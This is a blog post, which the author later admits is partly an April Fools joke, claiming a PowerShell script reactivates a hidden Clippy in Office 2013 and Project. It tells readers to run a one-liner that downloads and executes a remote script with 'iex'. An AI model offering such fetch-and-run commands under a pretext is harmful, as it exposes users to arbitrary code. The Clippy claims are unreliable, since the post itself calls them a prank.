Activating hidden features in Office 2013

At the recent MVP summit, a few great public tips and tricks came out for the new Office 2013 which can be shared, my favourite being that if you rename a ribbon to have a space character in the front, it will show the ribbon title as Sentence case.

Lower Case toolbars

But there was one gem that the team didn’t share, which a little poking around with a hex editor and procmon has highlighted. It seems that some of Office’s heritage is still present in Office 2013, including something we all thought had died a long time ago, Clippy!


What makes this even more interesting is that my investigations have found that the Clippy code is not only present, but also with the help of a PowerShell script, can be activated once again. Even more interesting is that this ‘hack’ also seems to enable Clippy in Microsoft Project, an app that never originally had Clippy or any of the so called ‘Office Assistants’. I am wondering if the Project team were originally going to implement these, then decided to deactivate them at the last minute, leaving the vestigial code in the product.

Anyway, I can confirm from my experiments that Clippy can be activated on the following Office 2013 products:

  • Project 2013
  • Word 2013
  • Excel 2013
  • PowerPoint 2013
  • Publisher 2013
  • InfoPath 2013
  • Access 2013
    As you would expect, the hack doesn’t seem to do anything on the newer Office products like SharePoint Designer, Lync & OneNote, which makes sense as the Office Assistants were never in those products. I didn’t have any luck getting it to show up in Visio 2013 either.

The PowerShell script is somewhat involved, so I have taken the liberty of uploading it to my site, and providing a link to it, for simplicity sake, entering the following command from PowerShell will contact the site, download the script and activate the hack, all that is required then is to open up the relevant Office 2013 app and wait for an appearance.

iex (New-Object Net.WebClient).DownloadString("")

Update: one of my readers points out that the above will also activate Clippy in the same 2010 versions of products.

Update 2 That’s right, this is an April Fools, well the second part at least :) Thanks to for providing the powershell I so shamelessly pointed to.

3 thoughts on “Activating hidden features in Office 2013

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s